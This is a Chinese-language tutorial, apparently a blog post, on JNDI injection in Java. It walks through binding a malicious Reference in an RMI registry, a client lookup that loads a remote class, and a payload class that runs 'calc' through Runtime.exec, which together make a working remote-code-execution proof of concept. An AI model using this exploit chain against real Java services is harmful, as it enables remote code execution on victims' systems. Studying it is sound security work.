Java安全之JNDI注入 (2)

代码:

package com.rmi.demo; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class jndi { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("aa",referenceWrapper); } }

这里可以看到调用完Reference 后又调用了 ReferenceWrapper将前面的Reference 对象给传进去,这是为什么呢?

 Java安全之JNDI注入

其实查看Reference 就可以知道原因,查看到Reference ,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,需要将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用 ReferenceWrapper将他给封装一下。

0x03 JNDI注入攻击

在叙述JNDI注入前先来看一段源码。

代码示例: package com.rmi.demo; import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/work"; InitialContext initialContext = new InitialContext();//得到初始目录环境的一个引用 initialContext.lookup(uri);//获取指定的远程对象 } }

在上面的InitialContext.lookup(uri)的这里,如果说URI可控,那么客户端就可能会被攻击。具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。

JNDI注入+RMI实现攻击

下面还是来看几段代码,来做一个分析具体的攻击流程。

RMIServer代码: package com.rmi.jndi; import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "http://127.0.0.1:8080/"; Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", url); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } } RMIClient代码: package com.rmi.jndi; import javax.naming.InitialContext; import javax.naming.NamingException; public class client { public static void main(String[] args) throws NamingException { String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }

下面还需要一段执行命令的代码,挂载在web页面上让server端去请求。

package com.rmi.jndi; import java.io.IOException; public class test { public static void main(String[] args) throws IOException { Runtime.getRuntime().exec("calc"); } }

使用javac命令,将该类编译成class文件挂载在web页面上。

原理其实就是把恶意的Reference类,绑定在RMI的Registry 里面,在客户端调用lookup远程获取远程类的时候,就会获取到Reference对象,获取到Reference对象后,会去寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。

 Java安全之JNDI注入

我在这里其实是执行失败了,因为在高版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。

LDAP概念

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zgdsfs.html